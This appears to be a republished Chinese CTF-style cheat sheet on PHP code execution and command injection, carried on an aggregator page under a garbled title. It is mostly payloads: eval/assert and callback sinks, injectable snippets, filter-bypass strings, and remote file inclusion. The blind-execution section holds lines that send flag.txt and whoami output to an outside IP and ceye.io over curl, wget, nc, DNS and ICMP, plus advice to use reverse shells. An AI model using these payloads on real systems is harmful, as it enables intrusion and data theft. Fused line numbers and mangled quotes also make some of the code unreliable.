联系我们 - 广告服务 - 联系电话:
您的当前位置: > 综合 > > 正文

环球焦点!php运算符= %3c%3c%3c PHP命令及代码

来源:CSDN 时间:2022-12-22 08:19:43

一、命令执行/写shell

eval


(资料图片)

fputs1fputs(fopen("t.php","w"),"")

preg_replace ====

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

5.6以下可以执行

5.6以上仍然可以执行,但是会有警告

PHP7后已经不支持/e修饰符

2.1、1

2

3

4

5

$regexp = $_GET["reg"];

$var = "phpinfo()";

preg_replace("/(.*?)$regexp", "\1", $var);

?>

reg=%3C/php%3E/e

2.2、1

2

3

preg_replace("//e", $_GET["cmd"], "cmd test");

?>

cmd=phpinfo()

2.3、1

2

3

preg_replace("/s*[php](.+?)[/php]s*/ies", "\1", $_GET["h"]);

?>

h=[php]phpinfo()[/php]

assert() ====

bool assert ( mixed $assertion [, string $description ] )

将字符串当成PHP代码执行

在PHP7后已经不是一个函数,而是一种语言结构1

2

3

assert($_GET["pass"]);

?>

pass=phpinfo()

注意:phpinfo()可以不加分号;

call_user_func()

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。1

2

3

call_user_func($_GET["museljh"], $_GET["museljh"]);

?>

在PHP7.0依旧可以museljh=assert&museljh=phpinfo(),使用eval进行代码执行1

2

3

call_user_func(function($a){eval($a);},$_GET["museljh"]);

?>

call_user_func_array()1mixed call_user_func_array ( callable $callback , array $param_arr )1

2

3

call_user_func_array($_GET["user"],$_GET["pass"]);

?>

call_user_func_array(function($a){eval($a);},$_GET["museljh"]);

http://127.0.0.1/1.php?museljh[]=echo 2;

create_function ====

string create_function ( string $args , string $code )1

2

3

4

5

$a = $_GET["museljh"];

$b = create_function("$a","echo $a");

$b("");

?>

127.0.0.1/?museljh=phpinfo();

在ctf比赛中create_function常常可以用截断来进行利用,主要是由于这个函数里有内部有调用eval函数,1

2

3

4

5

6

7

8

9

10

11

12

13

14

function sname($name){

echo $name."xxx".$id;

}

if(isset($_GET["id"])){

$id=$_GET["id"];

$code = "echo $name."."xxx".$id."; ";

$a = create_function("$name",$code);

$a("pass");

}else{

echo 1;

}

127.0.0.1/?id=;}phpinfo();/*

array_filter()

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。1

2$array[0] = $_GET["a"];

array_filter($array,"assert");

127.0.0.1/?a=phpinfo()

usort()/uasort()/uksort()

usort ( array &$array , callable $value_compare_func ) : bool

usort — 使用用户自定义的比较函数对数组中的值进行排序1

2

3

4

5//php5.6版本以下

usort($_GET,"system"); //xxx.php?1=1&2=whoami

//usort($_GET,"assert"); //xxx.php?1=1&2=phpinfo()

//php5.6以上

//usort(...$_GET); xxx.php?1[]=1-1&1[]=eval($_POST["x"])&2=assert1

2//php5.6以上

这里有个有趣的地方…运算符这是php5.6的新特性,在调用函数的时候,使用 … 运算符, 将 数组 和 可遍历 对象展开为函数参数。其实原理并没有发生什么变化,最终能够执行函数并非是usort而是eval。1

2

3

4

5

6

7

8

function add($a, $b, $c) {

return $a + $b + $c;

}

$operators = [2, 3];

echo add(1, ...$operators);

?>

上述例子会输出6

ob_start

ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

ob_start — 打开输出控制缓冲1

2

3

4

5

6

7

$cmd = "system";

ob_start($cmd);

echo "$_GET[a]";

ob_end_flush();

//xxx.php?a=whoami

?>

?a=whoami

ob_start为打开输出缓冲,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中,如上例子也就是echo。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。

可变函数$var(args)

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。1

2

3

$_GET["a"]($_GET["b"]);

?>

?a=system&b=whoami

?a=assert&b=phpinfo()

$1

2

3

${phpinfo()};

?>

array_map ====

array array_map ( callable $callback , array $array1 [, array $... ] )1

2

3

4

5

6

$a = $_GET["a"];

$b = $_GET["b"];

$array[0] = $b;

$c = array_map($a,$array);

?>

?a=assert&b=phpinfo();

$evil_callback为回调函数,将$some_array作为参数传入回调函数进行执行

这里需要注意$evil_callback没有括号()和分号;

目前来说全版本都可以使用

、array_walk/array_walk_recursive/register_shutdown_function/preg_replace_callback/array_reduce

1.array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] ) : bool

array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

2.array_walk_recursive

array_walk_recursive — 对数组中的每个成员递归地应用用户函数

3.register_shutdown_function

register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void

register_shutdown_function — 注册一个会在php中止时执行的函数

4.preg_replace_callback

preg_replace_callback — 执行一个正则表达式搜索并且使用一个回调进行替换

preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

5.array_reduce

array_reduce — 用回调函数迭代地将数组简化为单一的值

array_reduce( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed1

2

3

4

5

6

7

array_reduce($_GET["cmd"],"system");

array_walk_recursive($_GET["cmd"],"system");

register_shutdown_function("system",$_GET["cmd"]);

?>

?cmd[]=whoami

总的来说都是用回调函数,没什么新意。

stream_filter_register

stream_filter_register ( string $filtername , string $classname ) : bool

stream_filter_register — Register a user defined stream filter

允许您在与所有其他文件系统函数一起使用的任何已注册流上实现自己的过滤器 (such as fopen(), fread() etc.).

这个函数有些厉害,具体要怎么利用我还没搞清楚,感觉这个函数可以让我们自己写个fopen之类的函数?

array_uintersect_uassoc

array_uintersect_uassoc

— 带索引检查计算数组的交集,用单独的回调函数比较数据和索引

array_uintersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func , callable $key_compare_func ) : array1

2

3$a1=array($_POST["cmd"]);

$a2=array($_POST["cmd"]);

$result=array_uintersect_uassoc($a1,$a2,"assert","assert");

xml_set_character_data_handler()/xml_set_default_handler()/xml_set_element_handler()/xml_set_end_namespace_decl_handler()/xml_set_external_entity_ref_handler()/xml_set_notation_decl_handler()/xml_set_processing_instruction_handler()/xml_set_start_namespace_decl_handler()/xml_set_unparsed_entity_decl_handler()/

如上xml解析同样面临回调问题

集合

以下大多数函数都是利用类似回调函数的方法进行利用就不详细探究了。1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24create_function(),call_user_func_array(),

call_user_func(),assert(),

preg_replace(),eval(),

array_walk_recursive(),array_walk,array_map,ob_start(),

array_filter(),

preg_replace_callback(),register_shutdown_function()

array_reduce(),stream_filter_register()

array_diff_uassoc(), array_diff_ukey()

array_udiff(), array_udiff_assoc(), array_udiff_uassoc()

array_intersect_assoc(), array_intersect_uassoc()

array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()

xml_set_character_data_handler()

xml_set_default_handler()

xml_set_element_handler()

xml_set_end_namespace_decl_handler()

xml_set_external_entity_ref_handler()

xml_set_notation_decl_handler()

xml_set_processing_instruction_handler()

xml_set_start_namespace_decl_handler()

xml_set_unparsed_entity_decl_handler()

stream_filter_register()

set_error_handler()

register_shutdown_function()

register_tick_function()

二、PHP执行系统外部命令函数

system()

system ( string $command [, int &$return_var ] ) : string

php -r "system("whoami");"

输出结果

passthru()

pcntl_exec — 在当前进程空间执行指定程序

pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void1

2

3

passthru("whoami");

?>

passthru直接将结果输出到浏览器,并且支持二进制文件,比如图片

exec()

exec ( string $command [, array &$output [, int &$return_var ]] ) : string

php -r "echo exec("whoami");"

不输出结果,如果需要直接获取需要$output参数

shell_exec()/``

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。效果与反引号一样,在安全模式下不起作用。

shell_exec ( string $cmd ) : string1

2

3

4

$output = shell_exec($_GET["a"]);

echo "

$output
";

?>

?a=whoami

不输出结果,如果需要echo1

2

3

$output = shell_exec("ls file_not_exist 2>&1");

echo "

$output
";

将标准错误流输入到标准输出流里输出错误信息

pcntl_exec()

pcntl_exec — 在当前进程空间执行指定程序1

2

3

pcntl_exec( "/bin/bash" , array("whoami"));

?>

我本地ubuntu是没有这个函数的,但是我宝塔里却有,但是我宝塔执行不了这个函数,会报cannot execute binary file。

popen()

popen — 打开进程文件指针

popen ( string $command , string $mode ) : resource

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

不能够直接 php -r "print_r(popen("/bin/ls", "r"));",会返回Broken pipe,这个函数返回的是一个resource,我们可以通过fgets/fread函数去读取程序的输出:1

2

3

4

5

6

7

8

9

10

$test = "whoami";

$fp = popen($test,"r"); //popen打一个进程通道

while (!feof($fp)) { //从通道取出内容

$out = fgets($fp, 4096);

echo $out;

}

pclose($fp);

?>

proc_open()

proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。

proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ) : resource

descriptorspec

一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

$descriptorspec = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("file", "/dev/shm/error-output.txt", "a")

);

$process = proc_open("ls -la", $descriptorspec, $pipes);

if (is_resource($process)) {

$output = stream_get_contents($pipes[1]);

fclose($pipes[0]);

fclose($pipes[1]);

// 调用proc_close前必须把所有管道先关闭,避免出现死锁

$retval = proc_close($process);

echo "

$output
";

echo "Return value: " . $retval;

}

escapeshellcmd()/escapeshellarg()(属于命令执行绕过范畴)

8.1、escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

转义字符串$arg中的单引号并使用单引号包裹此部分

使得$arg只能传递一个参数,且不能执行不同的命令

escapeshellarg ( string $arg ) : string

8.2、escapeshellcmd — shell 元字符转义

escapeshellcmd ( string $command ) : string

转义& # ; | * ? ~ < > ^ ( ) [ ] { } $ 、x0A和xF,"和" 仅在落单时被转义

这些都会用^来取消其意义。也就是没办法用& | 来执行其他命令,只能列目录。

以上两个函数都是为了保证命令在经过system以及其他命令执行函数时防止用户输入非法的命令,但是这两个函数并非是万能的,依旧有许多方式进行绕过。

1.escapeshellcmd与escapeshellarg同时存在时候可以利用其差异性进行绕过

集合1passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,pope,passthru

windows下文件读取

1.more flag.txt

2.type flag.txt

linux下文件读取

1.cat flag.txt /{cat,flag.txt}

2.more flag.txt

3.less flag.txt

4.head flag.txt

5.tail flag.txt

6.tac flag.txt

7.nl flag.txt

8.od flag.txt

9.fire flag.txt

10.wc flag.txt

11.uniq flag.txt

12.diff flag.txt flag1.txt

13.sed -n "1,2p" flag.txt

14.find -P flag.txt

15、strings flag.txt

16、tailf flag.txt

17、curl file:///root/flag.txt

18、sort flag.txt

19、{grep,-nrw,.}

20、grep -r ..

21、bash -v flag.txt

22、rev flag.txt

windows 写文件

linux 写文件

1.tee flag.txt

三、命令执行绕过

命令分隔符1

2

3

4

5

6%0a、%0d 换行符与回车符

| 第一条命令结果作为第二条命令的输入

|| 第一条执行失败,执行第二条命令(

; 连续指令功能。

& 连接的两条命令都会执行

&& 当第一条执行成功后执行后续命令

${}

值得注意的是在被“”包裹时候直接${}是不可以的,因为PHP将会将它识别为可变变量而不是一个PHP代码。

这里有的有趣的发现,在下面已经将phpinfo()声明为可变变量后直接传入cmd=phpinfo()是可以执行的。1

2

3

4

5

6

7

8

9if(isset($_GET["cmd"])){

$cmd = @(string)$_GET["cmd"];

eval("$cmd="" . addslashes($cmd) . "";");

echo "$cmd="" . addslashes($cmd) . "";";

}else{

echo "hello";

}

$a=${phpinfo()};

当然对于${}来说会识别里面包含的第一个字符,只要将第一个字符修改为如空格,tab,注释,回车就会避免被直接当成变量,而会将其执行为PHP代码。

附上其他师傅总结payload

php >= 4.31

2

3

4

5

6

7

8

9

10

11

12

13"${ phpinfo()}";

"${ phpinfo()}";

"${/**/phpinfo()}";

"${

phpinfo()}";

"${( string )phpinfo()}";

"${phpinfo[phpinfo()]}";

"{$phpinfo[phpinfo()]}";

"{${phpinfo()}}";

"${${phpinfo()}}";

php>=5.51"${phpinfo()}";

空格绕过

测试代码,该目录下还有一个flag.txt1

2

3

4

5

6

7

8

if(isset($_GET["museljh"])){

$muse=$_GET["museljh"];

system($muse);

}

else{

echo "no!no!no!";

}

原来的命令

curl -w "n" "http://120.77.176.168/test.php?museljh=cat flag.txt"

绕过空格

1.curl -w "n" "http://120.77.176.168/test.php?museljh=cat%09flag.txt"

2.curl -w "n" "http://120.77.176.168/test.php?museljh={ls,-l}"

3.curl -w "n" "http://120.77.176.168/test.php?museljh=cat<>flag.txt"

4.curl -w "n" "http://120.77.176.168/test.php?museljh=cat

5.curl -w "n" "http://120.77.176.168/test.php?museljh=cat${IFS}flag.txt"(这个记得要url编码下

6.curl -w "n" "http://120.77.176.168/test.php?museljh=cat$IFS$9flag.txt"(url编码下,$9是linux系统shell进程的第九个参数,始终为空字符串

7.curl -w "n" "http://120.77.176.168/test.php?museljh=cat$IFSflag.txt"

备注:按道理来说curl -G --data-urlencode "museljh=cat flag.txt" http://120.77.176.168/test.php这样是可以直接urlencode编码的,但是却不行。

/绕过

首先我们先知道一些小知识

echo ${PATH}在我环境中输出为

/opt/Java/bin:/opt/Java/jre/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$JAVA_HOME/bin:/home/taoyx/program_develop/go_demo:/usr/local/go/bin

${PATH:0:1}代表以上字符的第一个也就是/,这样我们就可以得到了,当然我感觉这样的方法应该还有很多,指不止PATH,

当然这也可以使用正则匹配,比如${PATH%%o*} %%o.* 表示从右向左匹配 o.* 并删除,这样就不用:。

同样的知识点${PATH##*.}表示非贪婪匹配,当然这个还有许多玩法就不一一说了。

echo ${LESSOPEN}

| /usr/bin/lesspipe %s

加号/大于号绕过

PS1——默认提示符

PS2——再谈提示符

PS3——Shell脚本中使用select时的提示符

PS4——PS4-“set -x”用来修改跟踪输出的前缀

$PS4 为 +号

$PS2 为大于号

黑名单绕过

1.通配符利用

1.curl -w "n" "http://120.77.176.168/test.php?museljh=/???/?at flag.txt"

突然想到一个小结合

curl -w "n" "http://120.77.176.168/test.php?museljh=${PATH:0:1}???${PATH:0:1}?at%09flag.txt"

2.curl -w "n" "http://120.77.176.168/test.php?museljh=cat flag*"

夹杂字符

1.curl -w "n" "http://120.77.176.168/test.php?museljh=ca""t flag.txt"

2.curl -w "n" "http://120.77.176.168/test.php?museljh=ca$1t flag.txt"(这里的1可以改成任何一位数字)

3.curl -w "n" "http://120.77.176.168/test.php?museljh=cat flag.txt"

4.curl -w "n" "http://120.77.176.168/test.php?museljh=ca${x}t flag.txt"

5.curl -w "n" "http://120.77.176.168/test.php?museljh=ca``t flag.txt"

6.curl -w "n" "http://120.77.176.168/test.php?museljh=ca""t flag.txt"

编码绕过

1.curl -w "n" "http://120.77.176.168/test.php?museljh=echo "63617420666c61672e747874"|xxd -r -p|bash" (十六进制我本地莫名不行)

2.curl -w "n" "http://120.77.176.168/test.php?museljh=echo "Y2F0IGZsYWcudHh0"|base64 -d|bash"

结合一波

curl -w "n" "http://120.77.176.168/test.php?museljh=echo%09"Y2F0IGZsYWcudHh0"|base64%09-d|bash"

字符串拼接

1.curl -w "n" "http://120.77.176.168/test.php?museljh=a=cat;b=flag.txt;$a $b;"

若;被过滤还可以用%0a,%0d 代替

2.curl -w "n" "http://120.77.176.168/test.php?museljh=a=cat%0ab=flag.txt%0a$a $b%0a"

多条命令执行

1.curl -w "n" "http://120.77.176.168/test.php?museljh=curl 127.0.0.1|ls"

2.curl -w "n" "http://120.77.176.168/test.php?museljh=ls||curl 127.0.0.1"

前面命令执行失败才会执行后面命令

3.curl -w "n" "http://120.77.176.168/test.php?museljh=ls&curl 127.0.0.1"

命令同时执行

4.curl -w "n" "http://120.77.176.168/test.php?museljh=ls&&curl 127.0.0.1"

只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。

5.curl -w "n" "http://120.77.176.168/test.php?museljh=ls;curl 127.0.0.1"

不管前面命令执行成功没有,后面的命令继续执行

ip中.绕过

将ip地址转换为数字地址

巧借全局变量

上次一个比赛中学到的。

在如下条件1

2

3

4

5

6

7

8

9

10

11

if(isset($_GET["museljh"])){

$muse=$_GET["museljh"];

echo $muse,PHP_EOL;

#system($muse);

# system($_GET["b"]);

eval($muse);

}

else{

echo "no!no!no!";

}

1.curl -w "n" "http://120.77.176.168/test.php?museljh=$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42)); "

system("cat /*");curl -l -w "n" --header "9: ls" "http://120.77.176.168/test.php?museljh=system(getallheaders(){9});"

system(getallheaders(){9})

3.GET/POST

四、无回显命令执行

反弹shell

万金油一般的存在,我之前已经写过一篇对此的小总结了。

curl -T museljh.txt http://120.77.176.168:11122

补充下ftpcurl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{museljh}

备注:对于curl来说 -F 以及–data来说都默认改为POST请求方式

curl "http://120.77.176.168:11122" --data-binary "@museljh.txt"

ping `whoami`.**.ceye.io

ceye.io是一个免费的DNS解析平台,会给每个注册用户一个免费的子域名同构构造类似ping `whoami`.**.ceye.io,命令可以将我们得到的结果传递给四级子域名,在ceye.io平台中就可以看到我们的DNS解析记录,嗯,有空再写篇博客研究下DNS隧道技术。这里不得不提下我看到的一个师傅文章中的一个操作,因为域名不能带空格,我们可以使用sed进行替换

格式:sed "s/要替换的字符串/新的字符串/g"1ping `cat flag.txt|sed s/[[:space:]]/xx/g`.museljh.ceye.io

这里还有要注意的,因为不仅仅是空格DNS解析的时候还是有挺多符号是不能解析的比如",不过要替换的东西可以用正则表示。(按道理来说一般flag里应该也没有什么特殊字符)

不过就算有多个我们也是可以绕过了,我暂时只想到这样的方法,办法确实是笨了点。不知道有没有师傅有更好办法。1ping `cat museljh.txt|sed s/[[:space:]]/museljh/g|sed s/"/museljh/g`.8itzz8.ceye.io

curl http://8itzz8.ceye.io/`whoami`

和第3点原理一样只是换成curl而已,除此之外在ceye.io平台中还提供了sql等payload可以说是很赞的了。

nc -l -p 11122 < museljh.txt,curl http://120.x.176.x:11122

使用nc将文件重定向到监听端,我们访问这个监听端即可

wget --header="museljh:cat flag.txt" http://120.77.176.168:11122

cat flag.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 127.0.0.1; done

使用ICMP,可以看日志,可以用tcpdump抓包。

收到启发,同样想到可以这样

cat flag.txt |sed s/[[:space:]]/xx/g|while read museljh; do curl http://120.77.176.168:11122/?id=$museljh; done

这样,这里是可以不用使用空格的,我这边sed是多余的。使用类似这样的方法就可以解决之前DNS解析无法使用空格等非法字符了。

cat flag.txt |sed s/[[:space:]]/xx/g| xxd -p -c 16 | while read museljh; do curl http://120.77.176.168:11122/?id=$museljh; done

以下是我没试过的,只是列出来

net use h: \xxx.xxx.xxx.xxxweb /user:{username} {museljh} && copy {File to Copy} h:{filename}.txt

telnet xxx.xxx.xxx.xxx {port} < {file to transfer}

总的来说还是反弹shell比较合算

五、畸变的webshell

六、PHP文件读取函数

集合1file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file()

七、PHP输出当前进程所有变量 / 常量 / 模块 / 函数 / 类

get_defined_functions()

get_defined_functions — 返回所有已定义函数的数组

get_defined_functions ([ bool $exclude_disabled = FALSE ] ) : array1

2

3

4

5

6

7

8

9

10

function myrow($id, $data)

{

return "

$id$datan";

}

$arr = get_defined_functions();

print_r($arr);

?>

get_defined_vars()

get_defined_vars — 返回由所有已定义变量所组成的数组

get_defined_vars ( void ) : array

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

echo "

";

$vars = get_defined_vars();

$b = array(1,1,2,3,5,8);

$arr = get_defined_vars();

// 打印 $b

//print_r($arr["b"]);

// 打印所有服务器变量

//print_r($arr["_SERVER"]);

// 打印变量数组的所有可用键值

print_r(get_defined_vars());

print_r(array_keys(get_defined_vars()));

$vars = array_diff(get_defined_vars(),$vars);

print_r($vars);

?>

get_loaded_extensions()

get_loaded_extensions — 返回所有编译并加载模块名的 array

get_loaded_extensions ([ bool $zend_extensions = false ] ) : array1

2

3

print_r(get_loaded_extensions());

?>

get_extension_funcs()

get_extension_funcs — 返回模块函数名称的数组

get_extension_funcs ( string $module_name ) : array

该函数根据 module_name 返回模块内定义的所有函数的名称。1

2

3

print_r(get_extension_funcs("curl"));

?>

get_defined_constants()

get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值

get_defined_constants ([ bool $categorize = false ] ) : array

返回当前所有已定义的常量名和值。 这包含 define() 函数所创建的,也包含了所有扩展所创建的。1

2

3

print_r(get_defined_constants());

?>

get_declared_classes()

get_declared_classes — 返回由已定义类的名字所组成的数组

get_declared_classes ( void ) : array

返回由当前脚本中已定义类的名字组成的数组。1

2

3

print_r(get_declared_classes());

?>

八、杂

远程文件包含

PHP文件包含会执行包含文件的代码,当开启了远程文件包含,则非常容易引起代码注入攻击。远程文件包含条件: allow_url_fopen=On, allow_url_include=On, 文件包含相关函数有: include, include_once, require, require_once1

2

3

include($_GET["cmd"]);

?>

cmd=data:text/plain,%3C?php%20phpinfo%28%29;?%3E, 即执行phpinfo()。

反序列化验证绕过

O:+4:"test":1:{s:1:"a";s:3:"aaa";}

参考《代码审计》一点儿笔记

责任编辑:

标签:

相关推荐:

精彩放送:

新闻聚焦
Top